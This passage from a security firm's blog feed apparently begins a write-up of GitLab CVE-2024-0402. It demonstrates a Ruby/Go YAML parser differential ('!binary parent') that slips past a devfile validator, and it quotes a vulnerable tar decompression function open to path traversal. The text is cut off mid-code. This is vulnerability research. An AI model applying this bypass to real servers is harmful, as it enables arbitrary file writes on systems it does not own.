  &lt;li&gt;&lt;strong&gt;Maxence Schmitt&lt;/strong&gt;: &lt;a href=&quot;https://github.com/doyensec/CSPTPlayground&quot;&gt;CSPT Playground&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;thank-you-and-good-luck&quot;&gt;Thank you and good luck!&lt;/h1&gt;

&lt;p&gt;We hope this collection of resources will help the community to better understand and explore &lt;strong&gt;Client-Side Path Traversal (CSPT)&lt;/strong&gt; vulnerabilities. We encourage anyone interested to take a deep dive into exploring CSPT techniques and possibilities and helping us to push the boundaries of web security. We wish you many exciting discoveries and plenty of &lt;strong&gt;CSPT-related bugs&lt;/strong&gt; along the way!&lt;/p&gt;

&lt;h1 id=&quot;more-information&quot;&gt;More Information&lt;/h1&gt;

&lt;p&gt;This research project was made with ♡ by &lt;strong&gt;Maxence Schmitt&lt;/strong&gt;, thanks to the 25% &lt;a href=&quot;https://doyensec.com/research&quot;&gt;research&lt;/a&gt; time Doyensec gives its engineers.
If you would like to learn more about our work, check out our &lt;a href=&quot;https://blog.doyensec.com&quot;&gt;blog&lt;/a&gt;, follow us on &lt;a href=&quot;https://x.com/Doyensec&quot;&gt;X&lt;/a&gt;, &lt;a href=&quot;https://infosec.exchange/@doyensec&quot;&gt;Mastodon&lt;/a&gt;, &lt;a href=&quot;https://bsky.app/profile/doyensec.bsky.social&quot;&gt;BlueSky&lt;/a&gt; or feel free to contact us at &lt;a href=&quot;mailto:info@doyensec.com&quot;&gt;info@doyensec.com&lt;/a&gt; for more information on how we can help your organization “Build with Security”.&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>!exploitable Episode Three - Devfile Adventures</title>
   <link href="https://blog.doyensec.com/2025/03/18/exploitable-gitlab.html"/>
   <updated>2025-03-18T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2025/03/18/exploitable-gitlab</id>
   <content type="html">&lt;style&gt;ol { list-style-type: decimal }&lt;/style&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;I know, we have written it &lt;a href=&quot;https://blog.doyensec.com/2025/02/11/exploitable-iot.html&quot;&gt;multiple&lt;/a&gt; &lt;a href=&quot;https://blog.doyensec.com/2025/02/27/exploitable-sshd.html&quot;&gt;times&lt;/a&gt; now, but in case you are just tuning in, Doyensec had found themselves on a cruise ship touring the Mediterranean for our company retreat. To kill time between parties, we had some hacking sessions analyzing real-world vulnerabilities resulting in the &lt;strong&gt;!exploitable&lt;/strong&gt; blogpost series.&lt;/p&gt;

&lt;p&gt;In &lt;a href=&quot;https://blog.doyensec.com/2025/02/11/exploitable-iot.html&quot; target=&quot;_blank&quot;&gt;Part 1&lt;/a&gt; we covered our journey into IoT ARM exploitation, while &lt;a href=&quot;https://blog.doyensec.com/2025/02/27/exploitable-sshd.html&quot; target=&quot;_blank&quot;&gt;Part 2&lt;/a&gt; followed our attempts to exploit the bug used by Trinity in &lt;em&gt;The Matrix Reloaded&lt;/em&gt; movie.&lt;/p&gt;

&lt;p&gt;For this episode, we will dive into the exploitation of &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/cve-2024-0402&quot;&gt;CVE-2024-0402&lt;/a&gt; in GitLab. Like an onion, there is always another layer beneath the surface of this bug, from YAML parser differentials to path traversal in decompression functions in order to achieve arbitrary file write in GitLab.&lt;/p&gt;

&lt;p&gt;No public Proof Of Concept was published and making it turned out to be an adventure, deserving an extension of the original author’s &lt;a href=&quot;https://gitlab-com.gitlab.io/gl-security/security-tech-notes/security-research-tech-notes/devfile/&quot; target=&quot;_blank&quot;&gt;blogpost&lt;/a&gt; with the PoC-related info to close the circle 😉&lt;/p&gt;

&lt;h2 id=&quot;some-context&quot;&gt;Some context&lt;/h2&gt;

&lt;p&gt;This vulnerability impacts the GitLab &lt;strong&gt;Workspaces&lt;/strong&gt; functionality. To make a long story short, it lets developers instantly spin up integrated development environments (IDE) with all dependencies, tools, and configurations ready to go.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/gitlabwspace.png&quot; alt=&quot;GitLab Workspace Environment&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 450px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;The whole Workspaces functionality relies on several components, including a running &lt;em&gt;Kubernetes GitLab Agent&lt;/em&gt; and a devfile configuration.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Kubernetes GitLab Agent:&lt;/strong&gt; The Kubernetes GitLab Agent connects GitLab to a Kubernetes cluster, allowing users to enable deployment process automations and making it easier to integrate GitLab CI/CD pipelines. &lt;em&gt;It also allows Workspaces creation&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Devfile:&lt;/strong&gt; It is an &lt;a href=&quot;https://devfile.io/docs/2.3.0/what-is-a-devfile&quot; target=&quot;_blank&quot;&gt;open standard&lt;/a&gt; defining containerized development environments. Let’s start by saying it is configured with YAML files used to define the tools, runtime, and dependencies needed for a certain project.&lt;/p&gt;

&lt;p&gt;Example of a devfile configuration (to be placed in the GitLab repository as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.devfile.yaml&lt;/code&gt;):&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;1.0.0&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;my-app&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;components&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;runtime&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;container&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;registry.access.redhat.com/ubi8/nodejs-14&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;endpoints&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;http&lt;/span&gt;
          &lt;span class=&quot;na&quot;&gt;targetPort&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;3000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;the-bug&quot;&gt;The bug&lt;/h2&gt;

&lt;p&gt;Let’s start with the publicly available information enriched with extra code-context.&lt;/p&gt;

&lt;p&gt;GitLab was using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;devfile&lt;/code&gt; Gem (&lt;em&gt;Ruby&lt;/em&gt; of course) making calls to the external &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;devfile&lt;/code&gt; binary (written in Go) in order to process the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.devfile.yaml&lt;/code&gt; files during Workspace creation in a specific repository.&lt;/p&gt;

&lt;p&gt;During the devfile pre-processing routine applied by Workspaces, a specific validator named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;validate_parent&lt;/code&gt; was called by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PreFlattenDevfileValidator&lt;/code&gt; in GitLab.&lt;/p&gt;

&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# gitlab-v16.8.0-ee/ee/lib/remote_development/workspaces/create/pre_flatten_devfile_validator.rb:50&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;validate_parent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;devfile: &lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Hash&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;devfile&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
          &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Inheriting from 'parent' is not yet supported&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;devfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'parent'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
          &lt;span class=&quot;no&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ok&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But what is the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;parent&lt;/code&gt; option? As per the &lt;a href=&quot;https://devfile.io/docs/2.3.0/referring-to-a-parent-devfile&quot; target=&quot;_blank&quot;&gt;Devfile documentation&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;If you designate a parent devfile, the given devfile inherits all its behavior from its parent. Still, you can use the child devfile to override certain content from the parent devfile.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Then, it proceeds to describe three types of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;parent&lt;/code&gt; references:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;Parent referred by registry&lt;/em&gt; - remote devfile registry&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Parent referred by URI&lt;/em&gt; - static HTTP server&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Parent identified by a Kubernetes resource&lt;/em&gt; - available namespace&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As with any other remote fetching functionality, it would be worth reviewing to find bugs. But at first glance the option seems to be blocked by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;validate_parent&lt;/code&gt;.&lt;/p&gt;

&lt;h4 id=&quot;yaml-parser-differentials-for-the-win&quot;&gt;YAML parser differentials for the win&lt;/h4&gt;

&lt;p&gt;As widely known, even the most used implementations of specific standards may have minor deviations from what was defined in the specification. In this specific case, a YAML parser differential between Ruby and Go was needed.&lt;/p&gt;

&lt;p&gt;The author blessed us with a new trick for our differentials notes. In the YAML Spec:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;The single exclamation mark &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!&lt;/code&gt; is used for custom or application-specific data types
    &lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;my_custom_data&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;!MyType&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;some&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;value&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;The double exclamation mark &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!!&lt;/code&gt; is used for built-in YAML types
    &lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;bool_value&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;!!bool&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;true&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;He found out that the local YAML tags notation &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!&lt;/code&gt; (&lt;a href=&quot;https://yaml.org/spec/1.2.2/#3212-tags&quot; target=&quot;_blank&quot;&gt;RFC reference&lt;/a&gt;) is still activating the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;binary&lt;/code&gt; format &lt;em&gt;base64&lt;/em&gt; decoding in the Ruby &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yaml&lt;/code&gt; lib, while the Go &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gopkg.in/yaml.v3&lt;/code&gt; is just dropping it, leading to the following behavior:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;➜ &lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;test3.yaml
normalk: just a value
&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;binary parent: got injected

&lt;span class=&quot;c&quot;&gt;### valid parent option added in the parsed version (!binary dropped)&lt;/span&gt;
➜ go run g.go test3.yaml
parent: got injected
normalk: just a value

&lt;span class=&quot;c&quot;&gt;### invalid parent option as Base64 decoded value (!binary evaluated)&lt;/span&gt;
➜ ruby &lt;span class=&quot;nt&quot;&gt;-ryaml&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'x = YAML.safe_load(File.read(&quot;test3.yaml&quot;));puts x'&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;normalk&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;just a value&quot;&lt;/span&gt;, &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;A5&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;AA&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;DE&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;9E&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;got injected&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Consequently, it was possible to pass GitLab a devfile with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;parent&lt;/code&gt; option through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;validate_parent&lt;/code&gt; function and reach the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;devfile&lt;/code&gt; binary execution with it.&lt;br /&gt;&lt;/p&gt;

&lt;h4 id=&quot;the-arbitrary-file-write&quot;&gt;The arbitrary file write&lt;/h4&gt;

&lt;p&gt;At this point, we need to switch to a bug discovered in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;devfile&lt;/code&gt; binary (Go implementation).&lt;br /&gt;
After looking into a dependency of a dependency of a dependency, the hunter got his hands on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;decompress&lt;/code&gt; function. This was taking &lt;em&gt;tar.gz&lt;/em&gt; archives from the registry’s library and extracting the files inside the GitLab server.  Later, it should then move them into the deployed Workspace environment.&lt;/p&gt;

&lt;p&gt;Here is the vulnerable &lt;a href=&quot;https://github.com/devfile/registry-support/blob/47b3ffaeadba7babb7075e0576584cfaa3f64341/registry-library/library/util.go#L76&quot; target=&quot;_blank&quot;&gt;decompression function&lt;/a&gt; used by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getResourcesFromRegistry&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;// decompress extracts the archive file&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;decompress&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;targetDir&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tarFile&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;excludeFiles&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;error&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;returnedErr&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;error&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;reader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filepath&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Clean&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tarFile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;gzReader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gzip&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NewReader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;reader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;tarReader&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tar&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NewReader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gzReader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tarReader&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Next&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;target&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;targetDir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;filepath&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Clean&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;switch&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Typeflag&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tar&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TypeReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;c&quot;&gt;/* #nosec G304 -- target is produced using path.Join which cleans the dir path */&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;OpenFile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;O_CREATE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;O_RDWR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;FileMode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Mode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;returnedErr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;multierror&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;returnedErr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;returnedErr&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;c&quot;&gt;/* #nosec G110 -- starter projects are vetted before they are added to a registry.  Their contents can be seen before they are downloaded */&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;io&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Copy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tarReader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;returnedErr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;multierror&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;returnedErr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;returnedErr&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
